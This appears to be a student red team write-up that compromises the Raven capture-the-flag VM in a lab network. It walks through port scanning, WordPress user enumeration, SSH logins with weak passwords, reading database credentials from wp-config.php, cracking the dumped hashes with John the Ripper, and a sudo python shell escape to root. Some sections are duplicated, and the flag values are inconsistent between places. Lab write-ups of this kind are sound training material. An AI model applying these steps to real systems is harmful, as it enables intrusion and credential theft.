

Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```
$ nmap -sV 192.168.1.90
```

```
root@Kali:~# nmap -sV 192.168.1.90
Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-27 20:06 PDT
Nmap scan report for 192.168.1.90
Host is up (0.0000070s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.1p1 Debian 5 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
$ nmap -sV 192.168.1.100
```

```
Nmap scan report for 192.168.1.100
Host is up (0.00036s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
9200/tcp  open  http    Elasticsearch REST API 7.6.1 (name: elk; cluster: elasticsearch; Lucene 8.4.0)
MAC Address: 4C:EB:42:D2:D5:D7 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
$ nmap -sV 192.168.1.105
```

```
Nmap scan report for 192.168.1.105
Host is up (0.00061s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.29
MAC Address: 00:15:5D:00:04:0F (Microsoft)
Service Info: Host: 192.168.1.105; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
$ nmap -sV 192.168.1.110
```

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-25 19:17 PDT
Nmap scan report for 192.168.1.110
Host is up (0.00100s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind  2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
$ nmap -sV 192.168.1.115
```

```
Nmap scan report for 192.168.1.115
Host is up (0.00056s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:11 (Microsoft)
Service Info: Host: TARGET2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

This scan identifies the services below as potential points of entry:

- Target 1
 - Port 22/tcp | open | ssh | OpenSSH 6.7p1 Debian 5+deb8u4
 - Port 80/tcp | open | http | Apache httpd 2.4.10 ((Debian))
 - Port 111/tcp | open | rpcbind | 2-4 (RPC #100000)
 - Port 139/tcp | open | netbios-ssn | Samba smbd 3.X - 4.X
 - Port 445/tcp | open | netbios-ssn | Samba smbd 3.X - 4.X

The following vulnerabilities were identified:

- Target 1
 - Network Mapping
 - Wordpress User Enumeration
 - Unsalted User Password Hashes
 - MySQL Database Access
 - MySQL Hashed Password
 - Open SSH
 - Sudo Privilege Escalation

```

root@Kali:~# nmap -sS -A 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-27 19:28 PDT
Nmap scan report for 192.168.1.110
Host is up (0.00076s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|_  256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
| http-server-header: Apache/2.4.10 (Debian)
| http-title: Raven Security
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version  port/proto  service
|   100000  2,3,4      111/tcp    rpcbind
|   100000  2,3,4      111/udp   rpcbind
|   100000  3,4       111/tcp6   rpcbind
|   100000  3,4       111/udp6   rpcbind
|_  100024  1        32868/tcp  status
|  100024  1        35759/udp  status
|  100024  1        48218/tcp6  status
|_  100024  1        52387/udp6  status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.2.14-Debian (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

```

Host script results:
clock-skew: mean: -3h20m00s, deviation: 5h46m24s, median: 0s
nbstat: NetBIOS name: TARGET1, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
smb-os-discovery:
| OS: Windows 6.1 (Samba 4.2.14-Debian)
| Computer name: raven
| NetBIOS computer name: TARGET1\x00
| Domain name: local
| FQDN: raven.local
| System time: 2022-07-28T12:29:03+10:00
smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
| message_signing: disabled (dangerous, but default)
smb2-security-mode:
| 2.02:
|   Message signing enabled but not required
smb2-time:
| date: 2022-07-28T02:29:03
| start_date: N/A
TRACEROUTE
HOP RTT      ADDRESS
1  0.76 ms  192.168.1.110

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds

```

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

Target 1

- flag1.txt: {b9bbcb33e11b80be759c4e844862482d}
 - WPScan to find a user shell

```
■ wpscan --url http://192.168.1.110/wordpress -eu
```

```
root@Kali:~# wpscan --url http://192.168.1.110/wordpress -eu
[+] URL: http://192.168.1.110/wordpress/
[+] Started: Mon Jul 25 19:23:03 2022

Interesting Finding(s):

[+] http://192.168.1.110/wordpress/
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
|
[+] http://192.168.1.110/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
|   - http://codex.wordpress.org/XML-RPC_Pingback_API
|   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
|   - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
|   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
|   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
|
[+] http://192.168.1.110/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
|
[+] http://192.168.1.110/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|   - https://www.iplocation.net/defend-wordpress-from-ddos
|   - https://github.com/wpscanteam/wpscan/issues/1299
|
|   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
|   - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
|   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
|   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
|
[+] http://192.168.1.110/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
|
[+] http://192.168.1.110/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|   - https://www.iplocation.net/defend-wordpress-from-ddos
|   - https://github.com/wpscanteam/wpscan/issues/1299
|
[+] WordPress version 4.8.7 identified (Insecure, released on 2018-07-05).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.1.110/wordpress/, Match: 'wp-includes\js\wp-emoji-release.min.js?ver=4.8.7'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.1.110/wordpress/, Match: 'WordPress 4.8.7'
|
[!] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <===== (10 / 10) 100.00% Time: 00:00:01

[!] User(s) Identified:

[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Mon Jul 25 19:23:07 2022
[+] Requests Done: 48
[+] Cached Requests: 4
[+] Data Sent: 10.471 KB
[+] Data Received: 284.849 KB
```

- ssh into Michael's user account using username
 - ssh michael@192.168.1.110
 - username: michael | password: michael

```
root@Kali:~# ssh michael@192.168.1.110
The authenticity of host '192.168.1.110 (192.168.1.110)' can't be established.
ECDSA key fingerprint is SHA256:rCGKSPq0sUfa5mqn/8/M0T630xqkEIR39pi835oSDo8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.110' (ECDSA) to the list of known hosts.
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
michael@target1:~$
```

- Discovered flag1
 - cd /var/www
 - ls
 - grep -RE flag html

```
michael@target1:/var/www$ ls
flag2.txt  html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```
- flag2.txt: {fc3fd58dcdad9ab23faca6e9a36e581c}
 - ssh into Michael's user account and searched through his files
 - cd /var/www
 - cat flag2.txt

```
michael@target1:/var/www$ ls
flag2.txt  html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```
- flag3.txt: {afc01ab56b50591e7dcef93122770cd2}
 - Accessed Michael's MySQL database
 - cd /var/www/html/wordpress/
 - cat /var/www/html/wordpress/wp-config.php

```
michael@target1:/var/www/html/wordpress$ ls
index.php      wp-activate.php    wp-comments-post.php  wp-content    wp-links-opml.php   wp-mail.php    wp-trackback.php
license.txt    wp-admin.php     wp-config.php       wp-cron.php   wp-load.php     wp-settings.php  wpxmlrpc.php
readme.html    wp-blog-header.php wp-config-sample.php wp-includes  wp-login.php    wp-signup.php

michael@target1:/var/www/html/wordpress$ cd wp-config.php
-bash: cd: wp-config.php: Not a directory
michael@target1:/var/www/html/wordpress$ cat wp-con
wp-config.php      wp-config-sample.php  wp-content/
michael@target1:/var/www/html/wordpress$ cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 *      [
 *      * MySQL settings
 *      * Secret keys
 *      * Database table prefix
 *      * ABS_PATH
 *      *
 *      * @link https://codex.wordpress.org/Editing_wp-config.php
 *      *
 *      * @package WordPress
 *      */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
```

- Discovered flag3 in wp_posts;

- Logged into MySQL using username: root | password: R@v3nSecurity
- mysql -u root -p
- show databases;
- use wordpress;
- show tables;
- select * from wp_posts;

```
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
```

```
/*
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', ''');
```

```
michael@target1:/var/www/html/wordpress$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 62
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> ■
```

```
mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+-----+
4 rows in set (0.00 sec)

mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+-----+
4 rows in set (0.00 sec)

mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----+
```

```
| 2 | 1 | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | This is an example page. It's different from a blog post because it
will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introdu
ces them to potential site visitors. It might say something like this:
```

```
<blockquote>Hi there! I'm a miner by day, aspiring actor by night, and this is my website. I live in Kalgoorlie, have a great dog na
med Red, and I like yabbies. (And gettin' a tan.)</blockquote>
```

... or something like this:

```
<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Locat
ed in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>
```

```
As a new WordPress user, you should go to <a href="http://192.168.206.131/wordpress/wp-admin">your dashboard</a> to delete this pag
e and create new pages for your content. Have fun! | Sample Page | publish | closed | open | 0 | ht
t p://192.168.206.131/wordpress/?page_id=2 | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | 0 | page |
| 4 | 1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc01ab56b50591e7dcf93122770cd2} | 0 |
```

1	open	0	http://raven.local/wordpress/?p=4			flag3		draft	open
5	1	2018-08-12 23:31:59	2018-08-12 23:31:59	flag4{715dea6c055b9fe333754932f2941ce}		2018-08-13 01:48:31	2018-08-13 01:48:31	0 post	

- flag4.txt: {715dea6c055b9fe3337544932f2941ce}
 - Discovered users and their hashes. Utilized John the Ripper to decode Steven's hashed password: pink84

■ `john wp_hashes.txt`

```
mysql> select * from wp_users;
+----+-----+-----+-----+-----+-----+-----+-----+
| ID | user_login | user_pass           | user_nicename | user_email        | user_url | user_registered | user_a
ctivation_key | user_status | display_name |
+----+-----+-----+-----+-----+-----+-----+-----+
| 1 | michael    | $P$BjRvZQ.VQcgZlDeiKToCQd.cPw5XCe0 | michael       | michael@raven.org |         | 2018-08-12 22:49:12 |
| 2 | steven     | $P$Bk3VD9jsxx/loJojqNsURgHiaB23j7W/ | steven        | steven@raven.org |         | 2018-08-12 23:31:16 |
+----+-----+-----+-----+-----+-----+-----+-----+
2 rows in set (0.01 sec)
```

■

```
GNU nano 4.8                                         wp_hashes.txt
michael:$P$BjRvZQ.VQcgZlDeiKToCQd.cPw5XCe0
steven:$P$Bk3VD9jsxx/loJojqNsURgHiaB23j7W/
```

■

```
root@Kali:~# john wp_hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 30 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 26 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 45 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 35 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 45 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 43 candidates buffered for the current salt, minimum 48 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 25 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 23 candidates buffered for the current salt, minimum 48 needed for performance.
[Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:14:02 3/3 0g/s 3943p/s 7884c/s 7884C/s aseedie..adrutes
pink84          (steven)
```

■

- Created a user shell to access Steven's user account

■ `ssh steven@192.168.1.110`

■ `username: steven | password: pink84`

```
root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:
Permission denied, please try again.
steven@192.168.1.110's password:
```

■

```
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.
```

■

```
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 24 04:02:16 2020
$
```

■

- Gained root access using python to find flag4

■ `sudo python -c 'import pty;pty.spawn("/bin/bash")'`

■ `ls`

■ `cat flag4.txt`

```
$ sudo -l
Matching Defaults entries for steven on raven:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
  (ALL) NOPASSWD: /usr/bin/python
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven# 

$ sudo -l
Matching Defaults entries for steven on raven:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
  (ALL) NOPASSWD: /usr/bin/python
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven# cd /root/
root@target1:~# ls
flag4.txt
root@target1:~# cat flag4.txt
-----
| __ \
| |/_ /_ _ \_ _ _ - - 
| _ // _` \ \ / / _ \ _ \ \
| | \ \ ( _| | \ v / _/ | | |
\_\ \_\_,_| \_/\ \_\_|_|_|_|

flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io
root@target1:~#
```